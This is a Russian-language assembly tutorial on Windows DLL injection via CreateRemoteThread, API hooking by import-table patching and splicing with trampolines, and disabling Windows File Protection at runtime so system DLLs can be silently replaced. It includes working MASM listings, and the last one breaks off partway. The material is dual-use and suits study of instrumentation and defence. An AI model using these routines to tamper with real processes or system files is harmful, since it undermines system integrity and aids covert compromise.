Windows предоставляет функцию, которая называется KERNEL32.DLL!CreateRemoteThread. Она позволяет создать новый поток
внутри удаленного процесса. Мы заставляем вызвать функцию KERNEL32.DLL!LoadLibrary потоком целевого процесса для
загрузки нужной DLL. Одним из параметров функции KERNEL32.DLL!CreateRemoteThread является lpStartAddress, который
означает адрес процедуры потока. Процедура потока принимает один параметр. KERNEL32.DLL!LoadLibrary принимает также
один параметр. Т.е. как стартовый адрес удаленного потока мы можем указать адрес функции KERNEL32.DLL!LoadLibrary.
При этом мы пользуемся тем, что KERNEL32.DLL проецируется во всех виртуальных адресных пространствах по одному и тому
же адресу и из этого соображения предполагаем, что в удаленном процессе функция KERNEL32.DLL!LoadLibrary тоже
находиться по тому же адресу что и в нашем процессе.
Еще один важный момент заключается в параметре, который передается потоку и соответственно функции LoadLibrary. Мы
должны передать адрес строки с именем функции. Адрес этот должен обязательно находиться в адресном пространстве
целевого процесса, т.е. мы должны скопировать эту строку туда. Выделения виртуальной памяти в удаленном процессе
производиться c помощью функции KERNEL32.DLL!VirtualAllocEx. Осуществлять запись и чтение памяти чужого процесса
можно с помощью функций KERNEL32.DLL!WriteProcessMemory и KERNEL32.DLL!ReadProcessMemory соответственно. Освободить
выделенный регион можно с помощью функции KERNEL32.DLL!VirtualFreeEx.
Вот код программы с помощью, которой внедряется DLL:
Пример:
;=======================================================
; П Р О Г Р А М М А
; Внедрение DLL в адресное пространство чужого процесса
; Дата: 01.07.2005
; Автор: Bill Prisoner / TPOC
;=======================================================
;===============================================================================
; Options and Includes
;===============================================================================
.386
option casemap:none
.model flat,stdcall
include \tools\masm32\include\windows.inc
includelib \tools\masm32\lib\kernel32.lib
include \tools\masm32\include\kernel32.inc
include \tools\masm32\include\user32.inc
includelib \tools\masm32\lib\user32.lib
include \tools\masm32\include\advapi32.inc
includelib \tools\masm32\lib\advapi32.lib
;===============================================================================
;===============================================================================
; Initialized Data Section
;===============================================================================
.data
lib db "c:\\dll.dll",0;имя DLL, которую внедряем в чужой процесс
dwSize equ $-lib;Размер строки с именем DLL
kernelName db "kernel32.dll",0;Имя Kernel32.dll
loadlibraryName db "LoadLibraryA",0;Имя функции LoadLibraryA
_LoadLibrary dd 0;Адрес функции LoadLibrary
ParameterForLoadLibrary dd 0;Адрес строки с именем DLL в чужом процессе
ThreadId dd 0;Идентификатор треда
PID dd 1700;Идентификатор целевого процесса
;===============================================================================
;===============================================================================
; Uninitialized Data Section
;===============================================================================
.data?
hProcess dd ?
;===============================================================================
;===============================================================================
; Code Section
;===============================================================================
.code
start:
;Открываем процесс куда будем внедрять DLL
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or \
PROCESS_VM_OPERATION,0,PID
mov hProcess,eax
;Получаем описатель модуля Kernel32.dll
invoke GetModuleHandle,offset kernelName
;Получаем адрес функции LoadLibrary
invoke GetProcAddress,eax,offset loadlibraryName
mov _LoadLibrary,eax
;Выделяем память в удаленном процессе
invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT, \
PAGE_READWRITE
mov ParameterForLoadLibrary,eax
;Запись строки с именем DLL в АП чужого процесса
invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
;Создаем удаленный поток, который вызывает LoadLibrary,
;тем самым внедряем DLL в адресное пространство чужого процесса.
invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary, \
ParameterForLoadLibrary,NULL,offset ThreadId
invoke ExitProcess,0
end start
;===============================================================================
; End Program
;===============================================================================
Пример Закончен.
После внедрения DLL вызывается DllMain с параметром DLL_PROCESS_ATTACH. Именно при обработке этого параметра мы
устанавливаем перехватчик.
Способы перехвата функций
Правка таблицы импорта
При вызове Win32-приложением функции экспортируемой из другого модуля, например
CALL MessageBoxA,0
компилятор генерирует код следующего вида:
CALL X, где X - адрес переходника вида jmp dword ptr [Y], где Y - адрес адреса функции в IAT(Import Address Table),
которую заполняет при загрузке модуля загрузчик. При особой настройке компилятора вызов может быть таким CALL DWORD
PTR [Y]. Суть метода перехвата заключается в том, чтобы править значения, которые находятся по адресу Y, т.е. правка
значений в таблице адресов импорта. Сначала мы сохраняем реальный адрес перехватываемой функции. Потом проходимся по
IAT и правим этот реальный адрес на адрес нашего обработчика. Но править придется IAT всех модулей в данный момент
загруженный в АП процесса, а также всех динамически подгружаемых. В первом случае необходимо решить задачу получения
списка всех модулей загруженных в АП процесса. Во втором случае мы должны перехватывать функции LoadLibraryA, ;
LoadLibraryW, LoadLibraryExA, LoadLibraryExW. Также необходимо сделать так, чтобы функция GetProcAddress возвращала
адрес нашего перехватчика, если вдруг жертва захочет получить реальный адрес функции, которую мы перехватываем. Это
можно делать двумя способами - перехватом GetProcAddress или правкой таблицы экспорта модуля, где находиться
перехватываемая функция. У этого способа есть один очень большой недостаток - функции, которые не содержатся в таблице
импорта, перехватываться не будут, если только мы не будем осуществлять перехват прямо при начальной загрузке процесса.
Обычно перехват делается для процесса, который уже работает. Например, программа получает адрес функции с помощью
GetProcAddress, а потом мы уже делаем перехват. Тогда программа минует наш обработчик и вызовет правильную функцию.
Сначала я опишу процедуру, которая правит IAT указанного одним из параметров модуля. Я назвал эту процедуру EdiIATLocal.
Например, мы перехватываем функцию, адрес которой X. Тогда процедура EditIATLocal анализирует таблицу импорта указанного
модуля и если она встречает там адрес X, то функция меняет X на адрес нашего обработчика, который также передается как
параметр функции.
Пример:
;===============================================================================;
;Процедура EditIATLocal
;Описание:
;Перехват вызовов функций редактированием IAT в одном модуле
;Вход: Address адрес внутри файла в памяти
; ModName - указатель на имя модуля, IAT которого мы будем править. Регистр
; не важен.
; Orig - адрес функции, которую перехватываем
; New - адрес нашего обработчика
; ModHandle - описатель модуля, где находиться функция для перехвата.
; Например, описатель KERNEL32.DLL
;Выход: 1 - перехватили, 0 - не перехватили
;===============================================================================;
EditIATLocal proc ModName:DWORD, Orig:DWORD, New:DWORD, ModHandle:DWORD
LOCAL OldProtect:DWORD
;Получаем адрес таблицы директорий
mov eax,ModHandle
assume eax:ptr IMAGE_DOS_HEADER
add eax,[eax].e_lfanew
add eax,4
add eax,sizeof IMAGE_FILE_HEADER
mov edi,eax
assume edi:ptr IMAGE_OPTIONAL_HEADER
lea edi,[edi].DataDirectory
mov eax,edi
;Получаем адрес таблицы импорта
assume eax:ptr IMAGE_DATA_DIRECTORY
lea eax,[eax+(sizeof IMAGE_DATA_DIRECTORY)*IMAGE_DIRECTORY_ENTRY_IMPORT]
.IF dword ptr [eax]==0
move ax,FALSE
ret;Нет таблицы импорта
.ENDIF
mov esi,ModHandle
add esi,dword ptr [eax];В esi - адрес таблицы импорта
assume esi:PTR IMAGE_IMPORT_DESCRIPTOR
NextDLL:;очередная запись в таблице импорта
.IF [esi].Name1==NULL;Конец таблицы импорта?
mov eax,FALSE
ret
.ENDIF
mov ecx,[esi].Name1
add ecx,ModHandle
invoke lstrcmpi,ModName,ecx;тот ли это модуль?
.IF EAX!=0
add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
jmp NextDLL
.ENDIF
;Если дошли до сюда, то нашли имя модуля
mov edi,ModHandle
add edi,[esi].FirstThunk;В EDI - IAT
assume edi:PTR IMAGE_THUNK_DATA
NextFunction:;перебираем все импортируемые функции
.IF [edi].u1.Function==0;IAT закончилась
add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
jmp NextDLL
.ENDIF
mov eax,[edi].u1.Function
.IF Orig==eax;Нашли!!!
;Разрешим запись на нужную страницу
invoke VirtualProtect,edi,4,PAGE_EXECUTE_READWRITE,ADDR OldProtect
call GetCurrentProcess
mov ecx,eax
lea eax,New
;Сменим адрес функции на адрес обработчика
invoke WriteProcessMemory,ecx,edi,eax,4,NULL
;Воостановим прежние аттрибуты
invoke VirtualProtect,edi,4,OldProtect,ADDR OldProtect
mov eax,TRUE
ret
.ENDIF
add edi,sizeof IMAGE_THUNK_DATA
jmp NextFunction
EditIATLocal endp
;===============================================================================;
Пример Закончен.
А процедура EditIATGlobal правит IAT всех модулей процесса, в котором она вызывается. Мы вызываем ее в процедуре DllMain
DLL, которую мы будет внедрять в адресное пространство процесса-жертвы. Она просто перечисляет все модули в адресном
пространстве текущего процесса с помощью ToolHelp-функций, а потом последовательно вызывает для каждого модуля процедуру
EditIATLocal, которую я описал чуть выше.
Пример:
;===============================================================================;
;Процедура EditIATGlobal
;Описание:
;Перехват вызовов функций редактированием IAT во всех модулях процесса
;Вход: Address адрес внутри файла в памяти
; ModName - указатель на имя модуля, IAT которого мы будем править.
; Регистр не важен.
; Orig - адрес функции, которую перехватываем
; New - адрес нашего обработчика
;Выход: нет
;===============================================================================;
EditIATGlobal proc ModName:DWORD, Orig:DWORD, New:DWORD
LOCAL Current:DWORD
LOCAL hSnap:DWORD
push offset NextMod
call GetBase
mov Current,eax;Получили хэндл своего модуля
mov ecx,eax
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,NULL
mov hSnap,eax
mov ModEntry.dwSize,sizeof MODULEENTRY32
invoke Module32First,hSnap,offset ModEntry
NextMod:
mov eax,Current
.IF eax!=ModEntry.hModule;В своем модуле не будем перехватывать!
push ModEntry.hModule
push New
push Orig
push ModName
call EditIATLocal;Перехватываем в этом модуле
.ENDIF
invoke Module32Next,hSnap,offset ModEntry;Следующий модуль
.IF eax!=0
jmp NextMod
.ENDIF
invoke CloseHandle,hSnap
mov eax,1
ret
EditIATGlobal endp
;===============================================================================;
Пример Закончен.
В функции DLLMain DLL, которую мы впоследствии будем внедрять во все процессы мы должны обрабатывать reason следующим
образом:
Пример:
DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD
push esi
push edi
push ebx
push ebp
.if reason==DLL_PROCESS_ATTACH
;Получаем описатель модуля, где нах-ся перехватываемая функция
invoke GetModuleHandle,offset nt
invoke GetProcAddress,eax,offset Exitstr;ExitStr - имя перехватываемой функции
push offset start
push eax
push offset nt
;Устанавливаем перехват функции Exitstr из модуля nt.
call EditIATGlobal
.elseif reason==DLL_PROCESS_DETACH
.elseif reason==DLL_THREAD_ATTACH
.else ; DLL_THREAD_DETACH
.endif
pop ebp
pop ebx
pop edi
pop esi
mov eax,TRUE
ret
DllEntry Endp
Пример Закончен.
Простой пример - перехват MessageBox
Я приложил к статье исходный код DLL, которая перехватывает функции USER32.DLL!MessageBoxA и USER32.DLL!MessageBoxW в
целевом процессе. Файлы исходного кода этой DLL находиться в папке HookMessBox. Чтобы посмотреть как работает перехват
этих функций Вы можете использовать для внедрения мою программу DLL Injector. Например, попробуйте внедрить эту DLL в
блокнот, напечатать чего-нибудь и потом нажать на крестик закрытия окна.
Перехват LoadLibrary
Чтобы распространить перехват на новые подгружаемые DLL, необходимо перехватывать KERNEL32.DLL!LoadLibrary. Используя
функцию EditIATLocal Вы сможете с легкостью перехватить вызов KERNEL32.DLL!LoadLibrary таким образом, чтобы после
загрузки новой DLL она сразу же обрабатывалась.
Сплайсинг
Сначала определяется адрес функции, которую надо перехватить. Первый несколько байт данной функции
заменяются на переход к нашему обработчику. Теперь, если будет вызвана перехватываемая функция, то произойдет переход
на наш обработчик. Если нужно вызвать оригинальную функцию, то необходимо восстановить исходные байты. С помощью этого
метода перехватываются абсолютно все вызовы из любых модулей, и при этом не надо делать ничего дополнительного. Этот
метод хорош во всех отношениях, если бы не одно НО:Люди, которые понимают что-нибудь в многозадачности сразу учуяли
что-то не-то. Представьте, что какой-то поток правит начало функции джапмом, но вдруг ОС отнимает у него управление и
передает его другому потоку. А тот обращается к недоконца подправленной функции. В итоге произойдет ошибка и приложение,
скорее всего, слетит. Есть решение этой проблемы, - останавливать все потоки, когда начало функции правиться и когда
вызывается ее перехватчик (ведь перехватчик тоже правит начало функции, чтобы вызывать ее оригинал). Все эти вещи
реализуются очень просто. Давайте рассмотрим функции, которые приостанавливают и запускают потоки, соответственно.
Нашей задачей опять будет перехват функций USER32.DLL!MessageBoxA.
Пример:
;Приостановка всех потоков, кроме вызывающего
SuspendThreads proc
invoke GetModuleHandle,offset kern
invoke GetProcAddress,eax,offset OpenThreadStr
mov _OpenThread,eax
invoke GetCurrentThreadId
mov CurrThread,eax
invoke GetCurrentProcessId
mov CurrProcess,eax
invoke CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0
.if eax==-1
xor eax,eax
ret
.endif
mov hSnap,eax
mov Thread.dwSize,sizeof THREADENTRY32
invoke Thread32First,hSnap,offset Thread
.if eax==0
xor eax,eax
ret
.endif
NextThread:
mov eax,CurrThread
mov edx,CurrProcess
.if (Thread.th32ThreadID!=eax)&&(Thread.th32OwnerProcessID==edx)
push Thread.th32ThreadID
push NULL
push THREAD_SUSPEND_RESUME
call _OpenThread
mov ThreadHandle,eax
.if ThreadHandle>0
invoke SuspendThread,ThreadHandle
invoke CloseHandle,ThreadHandle
.endif
.endif
invoke Thread32Next,hSnap,offset Thread
.if eax!=0
jmp NextThread
.endif
invoke CloseHandle,hSnap
ret
SuspendThreads endp
Пример Закончен.
Пример:
;Возобновление всех потоков
ResumeThreads proc
invoke GetModuleHandle,offset kern
invoke GetProcAddress,eax,offset OpenThreadStr
mov _OpenThread,eax
invoke GetCurrentThreadId
mov CurrThread,eax
invoke GetCurrentProcessId
mov CurrProcess,eax
invoke CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0
.if eax==-1
xor eax,eax
ret
.endif
mov hSnap,eax
mov Thread.dwSize,sizeof THREADENTRY32
invoke Thread32First,hSnap,offset Thread
.if eax==0
xor eax,eax
ret
.endif
NextThread:
mov eax,CurrThread
mov edx,CurrProcess
.if (Thread.th32ThreadID!=eax)&&(Thread.th32OwnerProcessID==edx)
push Thread.th32ThreadID
push NULL
push THREAD_SUSPEND_RESUME
call _OpenThread
mov ThreadHandle,eax
.if ThreadHandle>0
invoke ResumeThread,ThreadHandle
invoke CloseHandle,ThreadHandle
.endif
.endif
invoke Thread32Next,hSnap,offset Thread
.if eax!=0
jmp NextThread
.endif
invoke CloseHandle,hSnap
ret
ResumeThreads endp
Пример Закончен.
В процедуру ResumeThreads не учитывается, что поток можем остановить не мы. Но это допущение для большинства приложений
не является критическим.
Простой пример - перехват MessageBox
После того, как мы нашли реальный адрес функции MessageBoxA, мы сохраняет старые 6 байт по некоторому адресу. Далее мы
записываем по этому адресу переход на наш обработчик. Код перехода выглядит так:
Пример:
code1 label byte
db 68h ;ОПКОД команды PUSH
Hooker1 dd 0;ОПЕРАНД команды PUSH
db 0c3h;ОПКОД RET
size_code1 equ $-code1
Пример Закончен.
А вот функция, которая как раз делает то, к чему мы стремились - осуществляет перехват:
Пример:
SetHook proc NameFunc:dword,NameModul:dword
invoke GetModuleHandle,NameModul
invoke GetProcAddress,eax,NameFunc
mov RealAddr1,eax;сохраняем адрес перехватываемой функции
invoke ReadProcessMemory,-1,RealAddr1,offset Old_Code1,size_code1,0
mov Hooker1,offset Hooker
invoke WriteProcessMemory,-1,RealAddr1,offset code1,size_code1,0
ret
SetHook endp
Пример Закончен.
Также нужен код, который позволяет выполнить оригинальную функцию, т.е. временно убрать перехват:
Пример:
TrueMessageBoxA proc x:dword,x1:dword,x2:dword,x3:dword
call SuspendThreads
;восстанавливаем старые байты
invoke WriteProcessMemory,-1,RealAddr1,offset Old_Code1,size_code1,0
push x3
push x2
push x1
push x
call MessageBoxA;вызываем оригинальную функцию MessageBoxA
push eax
invoke WriteProcessMemory,-1,RealAddr1,offset code1,size_code1,0;восстанавливаем перехват
call ResumeThreads
pop eax
ret
TrueMessageBoxA endp
Пример Закончен.
А вот и сам перехватчик. Т.е. код на который мы прыгаем, при вызове перехватываемой функции.
Пример:
Hooker proc x:dword,x1:dword,x2:dword,x3:dword
push x3
push offset TitleMessage
push offset TextMessage
push x
call TrueMessageBoxA
ret
Hooker endp
Пример Закончен.
Сплайсинг с сохранением оригинальной функции
Когда мы устанавливаем перехват с помощью сплайсинга, мы затираем первые несколько байт оригинальной функции. Если мы
используем относительный JMP, то мы затираем первые 5 байт. Перед затиркой мы сохраняем эти 5 байт. Когда нам нужно
вызвать оригинальную функцию, мы записываем сохраненные байты по адресу точки входа функции. Вот здесь есть проблеме
связанная с реентерабельностью. Мы можем избавиться от этой проблемы. Мы должны всего лишь сохранить первые инструкции,
размер которых больше или равно 5 байтам (в случае, если мы затираем начало функции относительным JMP). Тогда если мы
хотим вызвать оригинальную функцию, мы вызываем инструкции по адресу, по которому мы сохраняли затертые инструкции.
После выполнения этих затертых инструкций мы выполняем инструкцию JMP на адрес в перехватываемой функции, где начинается
следующая инструкция. Таким образом, логика работы оригинальной функции совершенно не меняется. При этом мы можем ее
вызывать без особых функций. Самая главная здесь сложность - это как определить начало следующей инструкции, т.е. здесь
нам необходим дизассемблер длин. Ему на вход подается адрес, а выход - это количество байт, занимаемых инструкцией по
входному адресу.
Чтобы понять смысл этого метода рассмотрим простой пример. Во-первых, определим место, куда мы будем копировать
инструкции, которые могут быть затерты. Мы сделаем это так:
old_func db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, \
090h, 090h, 090h, 090h, 090h, 090h, 090h, 0e9h, 000h, \
000h, 000h, 000h
Мы будем сохранять инструкции по адресу old_func. Мы оставляем место для некоторого количества инструкций. Мы заполняем
оставшееся место в буфере 090h, т.к. эта инструкция ничего не делает, в результате её выполнения просто инкрементируется
регистр EIP. В конце буфера мы ставим относительный JMP, адрес, куда мы будем переходить в этой инструкции, мы потом
должны заполнить. При вызове оригинальной функции мы вызываем ее так: CALL old_func
Допустим, мы перехватываем функцию Sleep.
До перехвата она выглядит так:
KERNEL32.Sleep:
77E86779: 6A00 PUSH 0
77E8677B: FF742408 PUSH DWORD PTR [ESP+8]
77E8677F: E803000000 CALL Kernel32.SleepEx
77E86784: C20400 RET 00004H
С помощью дизассемблера длин мы вычисляем последовательно длины команд. Если с начала функции сумма длин команд больше
или равно 5, то сохраняем обработанные инструкции по адресу old_func. Для функции Sleep мы сохраняем 6 байт, т.е. два
PUSH'а. Также мы запоминаем адрес 77E8677F - после выполнения двух PUSH'ей мы джампим на этот адрес.
После установки перехвата функция Sleep примет следующий вид:
KERNEL32.Sleep:
77E86779: E937A95788 JMP 0004010B5H; 0004010B5H - адрес обработчика
77E8677E: 08 ?
77E8677F: E803000000 CALL Kernel32.SleepEx
77E86784: C20400 RET 00004H
А код old_func будет таким:
old_func:
00403027: 6A00 PUSH 0
00403029: FF742408 PUSH DOWRD PTR [ESP+8]
0040302D: 90 NOP
0040302E: 90 NOP
0040302F: 90 NOP
00403030: 90 NOP
00403031: 90 NOP
00403032: 90 NOP
00403033: 90 NOP
00403034: 90 NOP
00403035: 90 NOP
00403036: 90 NOP
00403037: E94337A877 JMP KERNEL32.77E8677F
Таким образом, если мы хотим вызывать оригинальную функцию мы вызываем old_func - это и будет оригинальной функцией.
old_func называется функцией-трамплином (trampoline function).
Этот метод используется в продукте для перехвата функций, который называется Detours.
Описанный способ не может работать если функция занимает меньше 5 байт. Эту проблему можно решить с
помощью перехода не командой JMP, а командой INT 3(наш перехватчик в итоге будет обработчиком необработанных исключений).
Команда INT 3 занимает 1 байт. Но производительность этого способа оставляет желать лучшего.
Перехват правкой системных библиотек на жестком диске
Можно разделить способы перехвата на перехват до запуска модуля и перехват после запуска модуля. При
перехвате до запуска модуля, используется техника правки системных библиотек на жестком диске. Для этого необходимо
проделать следующие шаги:
1. Отключить защиту файлов ОС Windows (Windows File Protection).
2. Переименовать файл системной библиотеки, которую мы заменяем.
3. Создать правленую библиотеку и скопировать ее с оригинальным названием в системный каталог Windows, где она и была.
4. После перезагрузки перехват будет глобален для всех процессов и для этого не нужно ничего более.
Чтобы осуществить все перечисленные шаги необходимо знать, что такое Windows File Protection и как его отключать без
перезагрузки системы.
Windows File Protection
Windows File Protection - это сервис ОС, который защищает системные файлы ОС от изменения, повреждения
или удаления. Впервые WFP появился в ОС Windows Millennium Edition. До появления WFP любая программа могла заменить
системную библиотеку, что многие программы и делали при инсталляции. Из-за этого другие программы переставали работать и
при этом могли забрать систему с собой в мир иной :) Такое положение вещей назвали "DLL Hell". В Windows Millennium
Edition все системные SYS, DLL, EXE, and OCX защищены. В дополнение TrueType шрифты Micross.ttf, Tahoma.ttf, и
Tahomabd.ttf также защищены. Если происходит изменение, модификация или удаление защищенного файла, то система
восстанавливает его из кэша DLL, который по умолчанию находиться в папке:
%SYSTEMROOT%\system32\dllcache
Этот путь можно изменить, изменив значение параметра реестра:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SFCDllCacheDir
Чтобы узнать, что был заменен какой-то из файлов, Windows просматривает каталоги безопасности и сверяет цифровые
подписи. Если подпись какого-файла не соответствует подписи в каталоге безопасности, то Windows берет файлы из кэша.
Потом Windows ищет эти файлы в сети, если была произведена установка оп сети. Если данный файл отсутствует в кэше и в
сети, то Windows требует вставить оригинальный диск ОС. Можно включить принудительную проверку всех файлов ОС Windows
с помощью утилиты sfc, которая доступна в стандартной комплектации ОС. Также при обнаружении исправленного или удаленного
системного файл WFP записывает событие в лог событий, который можно посмотреть с помощью оснастки Event Log
(%windir%\system32\eventvwr.msc). Следующие механизмы позволяют изменять системные файлы, не смотря на Windows File
Protection:
* установка Windows Service Pack с использованием Update.exe
* установка хотфиксов с использованием Hotfix.exe
* Обновление ОС с использованием Winnt32.exe
* Windows Update
Чтобы без шума добраться до системных файлов и отредактировать их мы должны отключить WFP. Есть несколько способов
сделать это. Например, с помощью редактирования реестра или с помощью правки файла sfc.dll или sfc_os.dll. Но эти
способы теряют свою актуальность, потому что они либо работали с какой-то конкретной ОС, либо требуют перезагрузки и/или
входа в безопасный режим ОС. Но есть способ отключения WFP прямо при работе. Давайте его и рассмотрим.
Отключение Windows File Protection на лету
WFP держится на двух DLL - SFC.DLL, SFC_OS.DLL. А код, который использует эти DLL находиться в WINLOGON.EXE. Модуль
SFC_OS.DLL экспортирует функцию, которая экспортируется не по имени, а по ординалу и имеет ординал 1. Эта функция
запускает систему защиты файлов. Если покопаться в коде этой функции, то можно увидеть, что она вызывает функцию
NTDLL.DLL!NtNotifyChangeDirectoryFile. Это недокументированная функция, но на ней основывается другая функция, которая
называется KERNEL32.DLL!FindFirstChangeNotification. Эта функция возвращает описатель, который можно использовать в
функциях ожидания, например KERNEL32.DLL!WaitForSingleObject. Т.е. WFP устанавливает систему нотификации на системные
папки. Если файлы в папке изменяются, то WFP сразу на это реагирует. Все что нам требуется чтобы отключить WFP - это
закрыть все описатели, которые были возвращены NTDLL.DLL!NtNotifyChangeDirectoryFile. Эти описатели типа <файл>. Если
мы захотим отключить WFP, когда система работает, и если мы не хотим писать код, можно просто запустить утилиту Process
Explorer или подобную ей, чтобы закрыть хэндлы объектов <файл>. Например,
File Object - C:\WINDOWS\SYSTEM32\.
Закрывая этот описатель, мы можем изменять файлы в папке C:\WINDOWS\SYSTEM32 и Windows ничего не скажет. При реализации
кода процедуры отключения WFP необходимо знать, как получить хэндлы открытых описателей. Это делается с помощью функции
NtQuerySystemInformation. В MSDN она документирована, но не полностью и того, что нам нужно там нет. Приходиться
использовать справочник Гарри Нэббета "Windows NT 2000 Native API Reference".
Чтобы отключить таким образом WFP, необходимы отладочные привилегии, т.к. нам приходиться открывать
процесс WINLOGON.EXE. А для того чтобы получить отладочные привилегии, необходимы привилегии администратора. Из этого
следует, что этот способ будет работать только под учетной записью администратора или используя имперсонацию.
Для начала получаем идентификатор процесса WINLOGON.EXE. Он нужен для того, чтобы отличать хэндлы процесса WINLOGON.EXE
от всех остальных. Чтобы получить идентификатор по имени модуля, используем функцию GetPIDbyName:
Пример:
;===============================================================================;
; Процесс по имени
;===============================================================================;
GetPIDbyName proc Str1:DWORD
LOCAL pe:PROCESSENTRY32
LOCAL hSnap:DWORD
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov hSnap,eax
mov pe.dwSize,sizeof pe
invoke Process32First,hSnap,addr pe
.if eax==0
ret
.endif
next_process:
invoke Process32Next,hSnap,addr pe
.if eax==0
ret
.endif
invoke lstrcmpi,addr pe.szExeFile,Str1
.if eax==0
mov eax,pe.th32ProcessID
ret
.endif
jmp next_process
GetPIDbyName endp
;===============================================================================;
Пример Закончен.
В функции GetPIDbyName используем Toolhelp-функции для перечисления процессов в системе. Мы сравниваем имя полученного
модуля со статической строкой "WINLOGON.EXE". Сравнение идет с помощью API-функции lstrcmpi. Эта функция сравнивает
строки не учитывая во внимание регистр символов.
Далее нам необходимо получить список всех описателей процесса WINLOGON.EXE. Но в ОС Windows нет функции,
которая позволила бы получить описатели для конкретного процесса. Однако, как Вы уже знаете описатели можно получить с
помощью Native функции NtQuerySystemInformation. Часть описания этой функции доступно в MSDN, но этого нам не достаточно.
Более того там написано неправильно!!! :( Посмотрите на прототип этой функции:
NTSTATUS NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
Давайте прочтем описание переменной ReturnLength:
<ReturnLength [out, optional] Optional pointer to a location where the function writes the actual size of the information
requested. If that size is less than or equal to the SystemInformationLength parameter, the function copies the
information into the SystemInformation buffer; otherwise, it returns an NTSTATUS error code and returns in ReturnLength
the size of buffer required to receive the requested information.>
Вот здесь и есть ошибка в документации. На самом деле, если размер буфера меньше нужного, то параметр ReturnLength не
заполняется. Так как размер буфера не перманентен, то нам приходиться инкрементно перебирать размеры. Если функция
возвращает STATUS_INFO_LENGTH_MISMATCH, то размер буфера недостаточен. Вот код который находит нужный размер буфера:
Пример:
;===============================================================================;
; Определям размер буфера для получения списка хэндлов
;===============================================================================;
push offset SizeBuffer
push 0
push 0
push 16;SystemHandleInformation
call _NtQuerySystemInformation
.if eax!=STATUS_INFO_LENGTH_MISMATCH
jmp end_calc_size
.endif
next_calc_size:
add SizeBuffer,01000h;Увеличиваем размер буфера на страницу
.if pSystemHandleInfo!=0
invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
.endif
invoke VirtualAlloc,NULL, SizeBuffer, MEM_COMMIT, PAGE_READWRITE
mov pSystemHandleInfo,eax
push offset uBuff
push SizeBuffer
push pSystemHandleInfo
push 16
call _NtQuerySystemInformation
.if eax==STATUS_INFO_LENGTH_MISMATCH
jmp next_calc_size
.endif
end_calc_size:
;===============================================================================;
Пример Закончен.
После выполнения вышеприведенного кода, в pSystemHandleInfo содержится указатель на буфер. В буфере содержится количество
описателей. А потом массив структур типа HandleInfo. Количество структур в этом буфере ровно соответствует первому
двойному слову буфера. Эта структура определена следующим образом:
Handle_Info struct
Pid DWORD ?
ObjectType WORD ?
HandleValue WORD ?
ObjectPointer DWORD ?
AccessMask DWORD ?
Handle_Info ends
Pid мы используем, чтобы узнать какому процессу принадлежит описатель. Также мы будем использовать параметр HandleValue
для дублирования хэндлов.
После того как мы узнали, что данный описатель принадлежит процессу WINLOGON.EXE мы должны узнать имя
объекта соответствующего данному описателю. Нас интересует имя \Device\HarddiskVolume1\WINDOWS\system32. А если точнее
его часть WINDOWS\SYSTEM32. Закрывая эти описатели, мы отключаем Windows File Protection. Чтобы получить имя объекта по
его описателю, мы вызываем функцию NtQueryObject. Эта Native функция полностью недокументированна. По крайней мере в MSDN
VisualStudio .NET 2003 ее описание отсутствует. Но я знаю, что ее описание есть в DDK. Как бы то ни было, я взял
прототип функции в книге Гарри Нэббета.
Мы вызываем функцию NtQueryObject, чтобы получить имя объекта соответствующее описателю. Далее мы
сравниваем UNICODE-строку <WINDOWS\SYSTEM32>или <WINNT\SYSTEM32> с полученным именем объекта. Сравниваем мы с конца,
идя в начало. Сравнение идет с помощью функции CompareStringsBackwards. В ней используются цепочечные операции пересылки
слов. Длина сравнения зависит от длины строки <WINDOWS\SYSTEM32> или <WINNT\SYSTEM32>. А вот и функция
CompareStringsBackwards:
Пример:
;===============================================================================;
; Сравнить строки назад
;===============================================================================;
CompareStringBackwards proc pStr1:dword,pStr2:dword
LOCAL Len1:DWORD
LOCAL Len2:DWORD
push esi
push edi
invoke lstrlenW,pStr1
mov Len1,eax
invoke lstrlenW,pStr2
mov Len2,eax
mov eax,Len1
.if eax>Len2
mov eax,0
ret
.endif
mov edx,Len1
add edx,Len1
mov edi,pStr1
add edi,edx
mov edx,Len2
add edx,Len2
mov esi,pStr2
add esi,edx
mov ecx,Len1
inc ecx
std
repe cmpsw
add esi,2
add edi,2
xor eax,eax
xor edx,edx
mov ax,word ptr [esi]
mov dx,word ptr [edi]
.if (ecx==0)&&(eax==edx)
mov eax,1
pop edi
pop esi
ret
.else
mov eax,0
pop edi
pop esi
ret
.endif
CompareStringBackwards endp
;===============================================================================;
Пример Закончен.
Если строки равны и CompareStringsBackwards возвращает единицу, то мы переоткрываем описатель чтобы открыть его с
правами DUPLICATE_CLOSE_SOURCE or DUPLICATE_SAME_ACCESS. Флаг DUPLICATE_CLOSE_SOURCE указывает, что функция
DuplicateHandle закрывает указанный описатель в указанном процессе.
А теперь посмотрите полные код программки, которая отключает Windows File Protection во время работы ОС. После
перезагрузки WFP опять будет включена.
Пример:
;===============================================================================;
; П Р О Г Р А М М А
; Отключение Windows File Protection на лету
;===============================================================================;
;===============================================================================;
; Options and Includes
;===============================================================================;
.386
option casemap:none
.model flat,stdcall
include \tools\masm32\include\windows.inc
includelib \tools\masm32\lib\kernel32.lib
include \tools\masm32\include\kernel32.inc
include \tools\masm32\include\user32.inc
includelib \tools\masm32\lib\user32.lib
include \tools\masm32\include\advapi32.inc
includelib \tools\masm32\lib\advapi32.lib
;===============================================================================;
Handle_Info struct
Pid DWORD ?
ObjectType WORD ?
HandleValue WORD ?
ObjectPointer DWORD ?
AccessMask DWORD ?
Handle_Info ends
UNICODE_STRING STRUCT
